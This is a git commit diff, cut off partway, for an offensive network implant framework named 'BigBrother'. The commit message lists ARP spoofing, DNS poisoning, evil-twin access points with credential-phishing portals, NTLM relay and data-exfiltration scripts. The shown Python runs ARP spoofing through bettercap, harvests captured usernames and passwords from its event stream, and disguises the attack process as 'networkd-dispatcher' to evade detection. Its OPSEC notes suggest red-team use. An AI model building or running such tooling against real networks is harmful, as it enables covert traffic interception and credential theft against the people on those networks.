Phase 4: Active modules, templates, and operator scripts
Active modules (9 files in modules/active/): - bettercap_mgr: Central bettercap orchestrator with REST API health monitoring, event stream parsing, crash recovery with corrective gratuitous ARPs, caplet management, and process disguise - arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings - dns_poison: DNS poisoning with zone template loading support - dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection - evil_twin: hostapd-based rogue AP with captive portal and dnsmasq, iptables redirect, credential capture via HTTP POST handler - ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse - responder_mgr: Responder subprocess manager with hash file monitoring, NTLMv1/v2 parsing, session log scanning, relay target coordination - mitmproxy_mgr: Transparent proxy with addon scripts, tier checking (OPi Zero 3+ only), iptables setup, credential/token extraction - ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP, LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS Templates (9 files): - 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN (self-contained HTML with inline CSS, realistic login forms) - 2 DNS zones: redirect-all and selective Jinja2 template - 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates - 1 Responder.conf Jinja2 template with protocol toggles Operator scripts (6 files in scripts/operator/): - pull_data.sh: rsync structured data over WireGuard/Tailscale - extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction - extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert - extract_emails.sh: SMTP email extraction with attachment detection - crack_hashes.sh: Export creds to hashcat format, optional auto-crack - generate_report.py: SQLite-to-Markdown/HTML engagement report generator
This commit is contained in:
@@ -0,0 +1,23 @@
|
|||||||
|
"""BigBrother active modules — MITM, spoofing, and interception."""
|
||||||
|
|
||||||
|
from modules.active.bettercap_mgr import BettercapManager
|
||||||
|
from modules.active.arp_spoof import ARPSpoof
|
||||||
|
from modules.active.dns_poison import DNSPoison
|
||||||
|
from modules.active.dhcp_spoof import DHCPSpoof
|
||||||
|
from modules.active.evil_twin import EvilTwin
|
||||||
|
from modules.active.ipv6_slaac import IPv6SLAAC
|
||||||
|
from modules.active.responder_mgr import ResponderManager
|
||||||
|
from modules.active.mitmproxy_mgr import MitmproxyManager
|
||||||
|
from modules.active.ntlm_relay import NTLMRelay
|
||||||
|
|
||||||
|
__all__ = [
|
||||||
|
"BettercapManager",
|
||||||
|
"ARPSpoof",
|
||||||
|
"DNSPoison",
|
||||||
|
"DHCPSpoof",
|
||||||
|
"EvilTwin",
|
||||||
|
"IPv6SLAAC",
|
||||||
|
"ResponderManager",
|
||||||
|
"MitmproxyManager",
|
||||||
|
"NTLMRelay",
|
||||||
|
]
|
||||||
@@ -0,0 +1,184 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""ARP Spoofing module — thin wrapper around bettercap arp.spoof.
|
||||||
|
|
||||||
|
OPSEC WARNING: ARP spoofing is the most-detected active MITM technique.
|
||||||
|
- Dynamic ARP Inspection (DAI) on managed switches silently prevents it.
|
||||||
|
- EDR/NDR solutions alert within minutes.
|
||||||
|
- Prefer Responder + IPv6 SLAAC for initial access.
|
||||||
|
- Reserve ARP spoofing for confirmed legacy/unmanaged segments.
|
||||||
|
- Always run ids_tester DAI probe first to check viability.
|
||||||
|
|
||||||
|
Configures targets + gateway, then delegates to BettercapManager to
|
||||||
|
enable arp.spoof module. Full-duplex by default for complete MITM.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import time
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
from modules.base import BaseModule
|
||||||
|
|
||||||
|
logger = logging.getLogger("bb.active.arp_spoof")
|
||||||
|
|
||||||
|
|
||||||
|
class ARPSpoof(BaseModule):
|
||||||
|
"""ARP spoofing via bettercap — full-duplex MITM.
|
||||||
|
|
||||||
|
Dependencies:
|
||||||
|
- bettercap_mgr must be running.
|
||||||
|
|
||||||
|
Configuration:
|
||||||
|
targets: Comma-separated target IPs or CIDR (e.g., "10.0.0.0,10.0.0.0")
|
||||||
|
gateway: Gateway IP to spoof (e.g., "10.0.0.0")
|
||||||
|
fullduplex: True for bidirectional spoofing (default True)
|
||||||
|
internal: Spoof between targets, not just target<->gateway (default False)
|
||||||
|
"""
|
||||||
|
|
||||||
|
name = "arp_spoof"
|
||||||
|
module_type = "active"
|
||||||
|
priority = 200
|
||||||
|
requires_root = True
|
||||||
|
dependencies = ["bettercap_mgr"]
|
||||||
|
|
||||||
|
def __init__(self, bus, state, config, engine=None):
|
||||||
|
super().__init__(bus, state, config, engine)
|
||||||
|
self._bettercap_mgr = None
|
||||||
|
self._targets: Optional[str] = None
|
||||||
|
self._gateway: Optional[str] = None
|
||||||
|
self._fullduplex = True
|
||||||
|
self._internal = False
|
||||||
|
self._spoofing = False
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# BaseModule interface
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start(self) -> None:
|
||||||
|
if self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
self._bettercap_mgr = self.config.get("bettercap_mgr")
|
||||||
|
if not self._bettercap_mgr:
|
||||||
|
logger.error("ARPSpoof requires bettercap_mgr reference in config")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Check if ARP was disabled by crash recovery
|
||||||
|
if hasattr(self._bettercap_mgr, '_arp_disabled_by_crash'):
|
||||||
|
if self._bettercap_mgr._arp_disabled_by_crash:
|
||||||
|
logger.error(
|
||||||
|
"ARP spoofing disabled by crash recovery — "
|
||||||
|
"bettercap crashed too many times with ARP spoof active"
|
||||||
|
)
|
||||||
|
return
|
||||||
|
|
||||||
|
self._running = True
|
||||||
|
self._pid = os.getpid()
|
||||||
|
self._start_time = time.time()
|
||||||
|
|
||||||
|
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||||
|
logger.info("ARPSpoof module started (ready for spoof commands)")
|
||||||
|
|
||||||
|
def stop(self) -> None:
|
||||||
|
if not self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
if self._spoofing:
|
||||||
|
self.stop_spoof()
|
||||||
|
|
||||||
|
self._running = False
|
||||||
|
self.state.set_module_status(self.name, "stopped")
|
||||||
|
logger.info("ARPSpoof module stopped")
|
||||||
|
|
||||||
|
def status(self) -> dict:
|
||||||
|
return {
|
||||||
|
"running": self._running,
|
||||||
|
"pid": self._pid,
|
||||||
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||||
|
"spoofing": self._spoofing,
|
||||||
|
"targets": self._targets,
|
||||||
|
"gateway": self._gateway,
|
||||||
|
"fullduplex": self._fullduplex,
|
||||||
|
"internal": self._internal,
|
||||||
|
}
|
||||||
|
|
||||||
|
def configure(self, config: dict) -> None:
|
||||||
|
self.config.update(config)
|
||||||
|
if "fullduplex" in config:
|
||||||
|
self._fullduplex = config["fullduplex"]
|
||||||
|
if "internal" in config:
|
||||||
|
self._internal = config["internal"]
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Public API
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def spoof(self, targets: str, gateway: str) -> bool:
|
||||||
|
"""Enable ARP spoofing for specified targets and gateway.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
targets: Comma-separated target IPs or CIDR.
|
||||||
|
gateway: Gateway IP address.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if spoofing was enabled successfully.
|
||||||
|
"""
|
||||||
|
if not self._running or not self._bettercap_mgr:
|
||||||
|
logger.error("ARPSpoof not started")
|
||||||
|
return False
|
||||||
|
|
||||||
|
if self._bettercap_mgr._arp_disabled_by_crash:
|
||||||
|
logger.error("ARP spoofing disabled — bettercap crash threshold exceeded")
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Configure ARP spoof parameters
|
||||||
|
self._bettercap_mgr.run_command(f"set arp.spoof.targets {targets}")
|
||||||
|
self._bettercap_mgr.run_command(
|
||||||
|
f"set arp.spoof.fullduplex {'true' if self._fullduplex else 'false'}"
|
||||||
|
)
|
||||||
|
self._bettercap_mgr.run_command(
|
||||||
|
f"set arp.spoof.internal {'true' if self._internal else 'false'}"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Enable ARP spoofing
|
||||||
|
self._bettercap_mgr.run_command("arp.spoof on")
|
||||||
|
|
||||||
|
self._targets = targets
|
||||||
|
self._gateway = gateway
|
||||||
|
self._spoofing = True
|
||||||
|
|
||||||
|
# Inform bettercap_mgr for crash recovery tracking
|
||||||
|
self._bettercap_mgr.set_spoofing_state(True, targets, gateway)
|
||||||
|
|
||||||
|
self.state.set(self.name, "targets", targets)
|
||||||
|
self.state.set(self.name, "gateway", gateway)
|
||||||
|
logger.info("ARP spoofing enabled: targets=%s, gateway=%s", targets, gateway)
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to enable ARP spoofing")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def stop_spoof(self) -> bool:
|
||||||
|
"""Disable ARP spoofing and send corrective ARPs.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if spoofing was stopped successfully.
|
||||||
|
"""
|
||||||
|
if not self._bettercap_mgr:
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._bettercap_mgr.run_command("arp.spoof off")
|
||||||
|
self._spoofing = False
|
||||||
|
self._bettercap_mgr.set_spoofing_state(False)
|
||||||
|
|
||||||
|
self.state.set(self.name, "targets", "")
|
||||||
|
self.state.set(self.name, "gateway", "")
|
||||||
|
logger.info("ARP spoofing disabled")
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to disable ARP spoofing")
|
||||||
|
return False
|
||||||
@@ -0,0 +1,515 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Central bettercap orchestrator — single instance, shared by all active modules.
|
||||||
|
|
||||||
|
Manages the bettercap subprocess lifecycle, REST API health monitoring,
|
||||||
|
event stream parsing, caplet management, and crash recovery with corrective
|
||||||
|
gratuitous ARPs.
|
||||||
|
|
||||||
|
All active MITM modules (ARP spoof, DNS poison, DHCP spoof, IPv6 SLAAC)
|
||||||
|
route commands through this manager via run_command() and the BettercapAPI
|
||||||
|
client.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import subprocess
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
from modules.base import BaseModule
|
||||||
|
from utils.bettercap_api import BettercapAPI
|
||||||
|
|
||||||
|
logger = logging.getLogger("bb.active.bettercap_mgr")
|
||||||
|
|
||||||
|
|
||||||
|
class BettercapManager(BaseModule):
|
||||||
|
"""Central bettercap instance manager.
|
||||||
|
|
||||||
|
Responsibilities:
|
||||||
|
- Start/stop bettercap with random per-session API credentials
|
||||||
|
- Health monitoring via GET /api/session every 10s
|
||||||
|
- Auto-restart on crash (max 3) with caplet re-application
|
||||||
|
- Crash recovery: gratuitous ARP correction if spoofing was active
|
||||||
|
- Parse event stream for credentials and host discoveries
|
||||||
|
- Caplet management: load/unload/switch from config/caplets/
|
||||||
|
- Process disguise coordination
|
||||||
|
"""
|
||||||
|
|
||||||
|
name = "bettercap_mgr"
|
||||||
|
module_type = "active"
|
||||||
|
priority = 50
|
||||||
|
requires_root = True
|
||||||
|
|
||||||
|
HEALTH_POLL_INTERVAL = 10 # seconds
|
||||||
|
EVENT_POLL_INTERVAL = 5 # seconds
|
||||||
|
MAX_CRASH_RESTARTS = 3
|
||||||
|
RESTART_WINDOW = 15 # seconds — restart within this window after crash
|
||||||
|
|
||||||
|
def __init__(self, bus, state, config, engine=None):
|
||||||
|
super().__init__(bus, state, config, engine)
|
||||||
|
self._api: Optional[BettercapAPI] = None
|
||||||
|
self._proc: Optional[subprocess.Popen] = None
|
||||||
|
self._health_thread: Optional[threading.Thread] = None
|
||||||
|
self._event_thread: Optional[threading.Thread] = None
|
||||||
|
self._crash_count = 0
|
||||||
|
self._last_event_id = 0
|
||||||
|
self._active_caplet: Optional[str] = None
|
||||||
|
self._spoofing_active = False
|
||||||
|
self._spoof_targets: Optional[str] = None
|
||||||
|
self._spoof_gateway: Optional[str] = None
|
||||||
|
self._arp_disabled_by_crash = False
|
||||||
|
self._lock = threading.Lock()
|
||||||
|
self._binary = config.get("bettercap_binary", "/usr/local/bin/bettercap")
|
||||||
|
self._iface = config.get("interface", "eth0")
|
||||||
|
self._api_host = "127.0.0.1"
|
||||||
|
self._api_port = config.get("bettercap_api_port", 8083)
|
||||||
|
self._caplet_dir = config.get(
|
||||||
|
"caplet_dir",
|
||||||
|
os.path.join(os.path.dirname(__file__), "..", "..", "config", "caplets"),
|
||||||
|
)
|
||||||
|
self._disguise_name = config.get("bettercap_disguise", "networkd-dispatcher")
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# BaseModule interface
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start(self) -> None:
|
||||||
|
if self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Initialise REST API client with fresh random credentials
|
||||||
|
self._api = BettercapAPI(
|
||||||
|
host=self._api_host,
|
||||||
|
port=self._api_port,
|
||||||
|
)
|
||||||
|
|
||||||
|
if not self._start_bettercap():
|
||||||
|
logger.error("Failed to start bettercap subprocess")
|
||||||
|
return
|
||||||
|
|
||||||
|
self._running = True
|
||||||
|
self._pid = os.getpid()
|
||||||
|
self._start_time = time.time()
|
||||||
|
self._crash_count = 0
|
||||||
|
|
||||||
|
# Health monitoring thread
|
||||||
|
self._health_thread = threading.Thread(
|
||||||
|
target=self._health_loop, daemon=True, name="bb-bcap-health"
|
||||||
|
)
|
||||||
|
self._health_thread.start()
|
||||||
|
|
||||||
|
# Event stream parser thread
|
||||||
|
self._event_thread = threading.Thread(
|
||||||
|
target=self._event_loop, daemon=True, name="bb-bcap-events"
|
||||||
|
)
|
||||||
|
self._event_thread.start()
|
||||||
|
|
||||||
|
self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())
|
||||||
|
logger.info(
|
||||||
|
"BettercapManager started (api=%s:%d, iface=%s)",
|
||||||
|
self._api_host, self._api_port, self._iface,
|
||||||
|
)
|
||||||
|
|
||||||
|
def stop(self) -> None:
|
||||||
|
if not self._running:
|
||||||
|
return
|
||||||
|
self._running = False
|
||||||
|
|
||||||
|
# Stop ARP spoofing cleanly before shutdown
|
||||||
|
if self._spoofing_active:
|
||||||
|
try:
|
||||||
|
self._api.run("arp.spoof off")
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
self._spoofing_active = False
|
||||||
|
|
||||||
|
self._stop_bettercap()
|
||||||
|
self.state.set_module_status(self.name, "stopped")
|
||||||
|
logger.info("BettercapManager stopped")
|
||||||
|
|
||||||
|
def status(self) -> dict:
|
||||||
|
alive = self._proc is not None and self._proc.poll() is None
|
||||||
|
return {
|
||||||
|
"running": self._running and alive,
|
||||||
|
"pid": self._get_proc_pid(),
|
||||||
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||||
|
"crash_count": self._crash_count,
|
||||||
|
"spoofing_active": self._spoofing_active,
|
||||||
|
"active_caplet": self._active_caplet,
|
||||||
|
"arp_disabled_by_crash": self._arp_disabled_by_crash,
|
||||||
|
"api_port": self._api_port,
|
||||||
|
}
|
||||||
|
|
||||||
|
def configure(self, config: dict) -> None:
|
||||||
|
self.config.update(config)
|
||||||
|
if "interface" in config:
|
||||||
|
self._iface = config["interface"]
|
||||||
|
|
||||||
|
def health_check(self) -> bool:
|
||||||
|
if not self._running:
|
||||||
|
return False
|
||||||
|
if self._api is None:
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
return self._api.is_alive()
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Public API — used by other active modules
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def run_command(self, cmd: str) -> dict:
|
||||||
|
"""Execute a bettercap command via REST API.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
cmd: bettercap command string (e.g., "arp.spoof on")
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
API response dict.
|
||||||
|
|
||||||
|
Raises:
|
||||||
|
ConnectionError: If bettercap is unreachable.
|
||||||
|
"""
|
||||||
|
if self._api is None:
|
||||||
|
raise ConnectionError("BettercapManager not started")
|
||||||
|
return self._api.run(cmd)
|
||||||
|
|
||||||
|
def load_caplet(self, name: str) -> dict:
|
||||||
|
"""Load a caplet from the caplet directory.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
name: Caplet filename (e.g., "passive_recon.cap").
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
API response dict.
|
||||||
|
"""
|
||||||
|
caplet_path = os.path.join(self._caplet_dir, name)
|
||||||
|
if not os.path.isfile(caplet_path):
|
||||||
|
raise FileNotFoundError(f"Caplet not found: {caplet_path}")
|
||||||
|
result = self._api.load_caplet(caplet_path)
|
||||||
|
self._active_caplet = name
|
||||||
|
self.state.set(self.name, "active_caplet", name)
|
||||||
|
logger.info("Loaded caplet: %s", name)
|
||||||
|
return result
|
||||||
|
|
||||||
|
def get_hosts(self) -> list:
|
||||||
|
"""Return discovered hosts from bettercap session."""
|
||||||
|
if self._api is None:
|
||||||
|
return []
|
||||||
|
try:
|
||||||
|
return self._api.get_hosts()
|
||||||
|
except Exception:
|
||||||
|
return []
|
||||||
|
|
||||||
|
def is_spoofing(self) -> bool:
|
||||||
|
"""Return True if ARP spoofing is currently active."""
|
||||||
|
return self._spoofing_active
|
||||||
|
|
||||||
|
def set_spoofing_state(self, active: bool, targets: str = None,
|
||||||
|
gateway: str = None) -> None:
|
||||||
|
"""Track ARP spoofing state for crash recovery."""
|
||||||
|
with self._lock:
|
||||||
|
self._spoofing_active = active
|
||||||
|
self._spoof_targets = targets
|
||||||
|
self._spoof_gateway = gateway
|
||||||
|
|
||||||
|
def get_api(self) -> Optional[BettercapAPI]:
|
||||||
|
"""Return the BettercapAPI client instance."""
|
||||||
|
return self._api
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Subprocess management
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _start_bettercap(self) -> bool:
|
||||||
|
"""Launch bettercap subprocess with REST API."""
|
||||||
|
cmd = [
|
||||||
|
self._binary,
|
||||||
|
"-iface", self._iface,
|
||||||
|
"-no-history",
|
||||||
|
] + self._api.api_flags
|
||||||
|
|
||||||
|
env = dict(os.environ)
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._proc = subprocess.Popen(
|
||||||
|
cmd,
|
||||||
|
stdout=subprocess.PIPE,
|
||||||
|
stderr=subprocess.PIPE,
|
||||||
|
env=env,
|
||||||
|
preexec_fn=self._make_preexec(self._disguise_name),
|
||||||
|
)
|
||||||
|
except FileNotFoundError:
|
||||||
|
logger.error("bettercap binary not found: %s", self._binary)
|
||||||
|
return False
|
||||||
|
except Exception as e:
|
||||||
|
logger.error("Failed to start bettercap: %s", e)
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Wait for API to become available (up to 15s)
|
||||||
|
deadline = time.time() + 15
|
||||||
|
while time.time() < deadline:
|
||||||
|
if self._api.is_alive():
|
||||||
|
logger.info("bettercap API ready (pid=%d)", self._proc.pid)
|
||||||
|
return True
|
||||||
|
time.sleep(0.5)
|
||||||
|
|
||||||
|
logger.error("bettercap API did not become ready within 15s")
|
||||||
|
self._stop_bettercap()
|
||||||
|
return False
|
||||||
|
|
||||||
|
def _stop_bettercap(self) -> None:
|
||||||
|
"""Gracefully stop bettercap: SIGTERM -> 5s -> SIGKILL."""
|
||||||
|
proc = self._proc
|
||||||
|
if proc is None or proc.poll() is not None:
|
||||||
|
self._proc = None
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
proc.terminate()
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
try:
|
||||||
|
proc.wait(timeout=5.0)
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
logger.warning("bettercap did not stop after SIGTERM, sending SIGKILL")
|
||||||
|
try:
|
||||||
|
proc.kill()
|
||||||
|
proc.wait(timeout=2.0)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
self._proc = None
|
||||||
|
|
||||||
|
def _get_proc_pid(self) -> Optional[int]:
|
||||||
|
if self._proc and self._proc.poll() is None:
|
||||||
|
return self._proc.pid
|
||||||
|
return None
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Crash recovery
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _handle_crash(self) -> None:
|
||||||
|
"""Handle bettercap crash: corrective ARPs, then restart.
|
||||||
|
|
||||||
|
If ARP spoofing was active, immediately send corrective gratuitous
|
||||||
|
ARPs to restore network state. Disable ARP spoofing after 3 crashes
|
||||||
|
to prevent a crash loop from disrupting the network.
|
||||||
|
"""
|
||||||
|
self._crash_count += 1
|
||||||
|
logger.warning(
|
||||||
|
"bettercap crashed (count=%d/%d, spoofing_was_active=%s)",
|
||||||
|
self._crash_count, self.MAX_CRASH_RESTARTS, self._spoofing_active,
|
||||||
|
)
|
||||||
|
|
||||||
|
self.bus.emit(
|
||||||
|
"TOOL_CRASHED",
|
||||||
|
{
|
||||||
|
"tool": "bettercap",
|
||||||
|
"crash_count": self._crash_count,
|
||||||
|
"spoofing_active": self._spoofing_active,
|
||||||
|
},
|
||||||
|
source_module=self.name,
|
||||||
|
)
|
||||||
|
|
||||||
|
# Send corrective gratuitous ARPs if spoofing was active
|
||||||
|
if self._spoofing_active and self._spoof_gateway:
|
||||||
|
self._send_corrective_arps()
|
||||||
|
|
||||||
|
# Disable ARP spoof after max crashes to break crash loops
|
||||||
|
if self._crash_count >= self.MAX_CRASH_RESTARTS:
|
||||||
|
if self._spoofing_active:
|
||||||
|
logger.error(
|
||||||
|
"ARP spoof disabled after %d crashes — network stability risk",
|
||||||
|
self._crash_count,
|
||||||
|
)
|
||||||
|
self._arp_disabled_by_crash = True
|
||||||
|
self._spoofing_active = False
|
||||||
|
self.state.set(self.name, "arp_disabled_by_crash", "true")
|
||||||
|
logger.error("bettercap exceeded max restarts (%d), giving up", self.MAX_CRASH_RESTARTS)
|
||||||
|
self._running = False
|
||||||
|
self.state.set_module_status(self.name, "crashed")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Restart bettercap within RESTART_WINDOW
|
||||||
|
backoff = min(2 ** (self._crash_count - 1), self.RESTART_WINDOW)
|
||||||
|
logger.info("Restarting bettercap in %ds (attempt %d/%d)",
|
||||||
|
backoff, self._crash_count, self.MAX_CRASH_RESTARTS)
|
||||||
|
time.sleep(backoff)
|
||||||
|
|
||||||
|
if self._start_bettercap():
|
||||||
|
logger.info("bettercap restarted successfully")
|
||||||
|
self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())
|
||||||
|
|
||||||
|
# Re-apply active caplet
|
||||||
|
if self._active_caplet:
|
||||||
|
try:
|
||||||
|
self.load_caplet(self._active_caplet)
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to re-apply caplet after restart")
|
||||||
|
|
||||||
|
# Re-enable ARP spoofing if it was active and not disabled
|
||||||
|
if self._spoofing_active and not self._arp_disabled_by_crash:
|
||||||
|
try:
|
||||||
|
if self._spoof_targets:
|
||||||
|
self._api.set_parameter("arp.spoof.targets", self._spoof_targets)
|
||||||
|
self._api.run("arp.spoof on")
|
||||||
|
logger.info("ARP spoofing re-enabled after restart")
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to re-enable ARP spoof after restart")
|
||||||
|
else:
|
||||||
|
logger.error("bettercap restart failed")
|
||||||
|
self._running = False
|
||||||
|
self.state.set_module_status(self.name, "crashed")
|
||||||
|
|
||||||
|
def _send_corrective_arps(self) -> None:
|
||||||
|
"""Send corrective gratuitous ARPs to restore network after crash.
|
||||||
|
|
||||||
|
Uses scapy to send a few gratuitous ARP packets with the real
|
||||||
|
gateway MAC to undo any poisoned ARP caches.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
from scapy.all import ARP, Ether, sendp, getmacbyip
|
||||||
|
except ImportError:
|
||||||
|
logger.warning("scapy not available — cannot send corrective ARPs")
|
||||||
|
return
|
||||||
|
|
||||||
|
gateway = self._spoof_gateway
|
||||||
|
if not gateway:
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
gw_mac = getmacbyip(gateway)
|
||||||
|
if not gw_mac:
|
||||||
|
logger.warning("Could not resolve gateway MAC for corrective ARPs")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Gratuitous ARP: gateway telling everyone its real MAC
|
||||||
|
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
|
||||||
|
op=2, # is-at
|
||||||
|
psrc=gateway,
|
||||||
|
hwsrc=gw_mac,
|
||||||
|
pdst=gateway,
|
||||||
|
hwdst="ff:ff:ff:ff:ff:ff",
|
||||||
|
)
|
||||||
|
sendp(pkt, iface=self._iface, count=5, inter=0.2, verbose=False)
|
||||||
|
logger.info("Sent corrective gratuitous ARPs for gateway %s", gateway)
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to send corrective ARPs")
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Health monitoring loop
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _health_loop(self) -> None:
|
||||||
|
"""Poll bettercap API every HEALTH_POLL_INTERVAL to detect crashes."""
|
||||||
|
while self._running:
|
||||||
|
time.sleep(self.HEALTH_POLL_INTERVAL)
|
||||||
|
if not self._running:
|
||||||
|
break
|
||||||
|
|
||||||
|
# Check if process is still alive
|
||||||
|
if self._proc and self._proc.poll() is not None:
|
||||||
|
self._handle_crash()
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Check API responsiveness
|
||||||
|
try:
|
||||||
|
if not self._api.is_alive():
|
||||||
|
logger.warning("bettercap API unresponsive — checking process")
|
||||||
|
if self._proc and self._proc.poll() is not None:
|
||||||
|
self._handle_crash()
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Health check error")
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Event stream parser
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _event_loop(self) -> None:
|
||||||
|
"""Poll bettercap event stream for credentials and host discoveries."""
|
||||||
|
while self._running:
|
||||||
|
time.sleep(self.EVENT_POLL_INTERVAL)
|
||||||
|
if not self._running:
|
||||||
|
break
|
||||||
|
|
||||||
|
try:
|
||||||
|
events = self._api.get_events(since=self._last_event_id)
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
|
||||||
|
for event in events:
|
||||||
|
self._last_event_id += 1
|
||||||
|
self._process_event(event)
|
||||||
|
|
||||||
|
def _process_event(self, event: dict) -> None:
|
||||||
|
"""Parse a single bettercap event and emit bus events as needed."""
|
||||||
|
tag = event.get("tag", "")
|
||||||
|
data = event.get("data", {})
|
||||||
|
|
||||||
|
# Credential captures from HTTP proxy, net.sniff, etc.
|
||||||
|
if tag in ("net.sniff.credentials", "http.proxy.credentials",
|
||||||
|
"https.proxy.credentials"):
|
||||||
|
self._handle_credential_event(data)
|
||||||
|
|
||||||
|
# Host discovery events
|
||||||
|
elif tag in ("endpoint.new", "endpoint.detected"):
|
||||||
|
self._handle_host_event(data)
|
||||||
|
|
||||||
|
# Module status events
|
||||||
|
elif tag.startswith("mod."):
|
||||||
|
logger.debug("bettercap module event: %s", tag)
|
||||||
|
|
||||||
|
def _handle_credential_event(self, data: dict) -> None:
|
||||||
|
"""Emit CREDENTIAL_FOUND for captured credentials."""
|
||||||
|
payload = {
|
||||||
|
"source_module": self.name,
|
||||||
|
"source_ip": data.get("from", ""),
|
||||||
|
"target_ip": data.get("to", ""),
|
||||||
|
"target_service": data.get("proto", "unknown"),
|
||||||
|
"username": data.get("username", ""),
|
||||||
|
"credential_type": data.get("type", "cleartext"),
|
||||||
|
"credential_value": data.get("password", data.get("hash", "")),
|
||||||
|
"raw_data": data,
|
||||||
|
}
|
||||||
|
self.bus.emit("CREDENTIAL_FOUND", payload, source_module=self.name)
|
||||||
|
logger.info(
|
||||||
|
"Credential captured: %s@%s (%s)",
|
||||||
|
payload["username"], payload["target_ip"], payload["target_service"],
|
||||||
|
)
|
||||||
|
|
||||||
|
def _handle_host_event(self, data: dict) -> None:
|
||||||
|
"""Emit HOST_DISCOVERED for new network hosts."""
|
||||||
|
payload = {
|
||||||
|
"source_module": self.name,
|
||||||
|
"ip": data.get("ipv4", data.get("addr", "")),
|
||||||
|
"mac": data.get("mac", ""),
|
||||||
|
"hostname": data.get("hostname", ""),
|
||||||
|
"vendor": data.get("vendor", ""),
|
||||||
|
"os": data.get("os", ""),
|
||||||
|
"raw_data": data,
|
||||||
|
}
|
||||||
|
self.bus.emit("HOST_DISCOVERED", payload, source_module=self.name)
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Helpers
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _make_preexec(disguise_name: str):
|
||||||
|
"""Return a preexec_fn that renames the process via prctl."""
|
||||||
|
def _preexec():
|
||||||
|
try:
|
||||||
|
import ctypes
|
||||||
|
libc = ctypes.CDLL("libc.so.6", use_errno=True)
|
||||||
|
PR_SET_NAME = 15
|
||||||
|
name_bytes = disguise_name[:15].encode("utf-8")
|
||||||
|
